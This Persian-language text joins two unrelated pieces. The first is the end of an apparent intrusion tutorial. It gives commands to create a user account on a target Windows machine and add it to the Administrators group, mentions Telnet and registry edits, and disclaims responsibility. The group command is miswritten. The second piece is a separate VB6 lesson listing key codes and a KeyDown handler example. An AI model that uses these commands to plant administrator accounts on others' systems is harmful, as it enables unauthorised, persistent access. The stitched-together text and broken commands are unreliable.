حالا احتیاج به ساختن یک یوزر برای خود دارید . این دستور را در ادامه وارد کنید :
Net user username password/add
حالا برای قرار دادن یوزر خود در گروه ادمین ها این دستور را وارد کنید Net groups Administrators username/add
تمام شد شما به هدف خود رسیده اید اما من برای تازه کارها روش اول را پیشنهاد میکنم ولی دوستان دیگر میتوانند از Telnet استفاده کنند
نکته : من هیچ مسئولیتی در مورد تغییر رجیستری نمیپذیرم اگر شما قادر به Edit رجیستری نیستید بهتره از آن یه Backup تهیه کنید یا در نهایت از روش اول استفاده کنید .
تو این درس می خوام همه کی کد ها را بگم + برنامه نویسی آن ها
کی کدها عبارتند از :
دکمه
A ---------------> 65
B ---------------->66
C ---------------> 67
D ---------------->68
E ---------------> 69
F---------------->70
G ---------------> 71
H ---------------->72
I ---------------> 73
J ---------------->74
K ---------------> 75
L ---------------->76
M ---------------> 77
N ---------------->78
O ---------------> 79
P ---------------->80
Q ---------------> 81
R ---------------->82
S ---------------> 83
T ---------------->84
U ---------------> 85
V---------------->86
W ---------------> 87
X ---------------->88
Y ---------------> 89
Z---------------->90
برای اعداد هم از ۰ تا ۹ به ترتیب از ۴۸ است تا ۵۷
برای F ها باید از این ساختار بروی : vbKeyF1
برنامه نویسی : این خط کد میگه اگر دکمه A را زد Print کند :
(Private Sub Form__KeyDown(KeyCode as Integer,Shift as Integer
if KeyCOde=65 then
"Me.Print "You Press A Key
end if
End Sub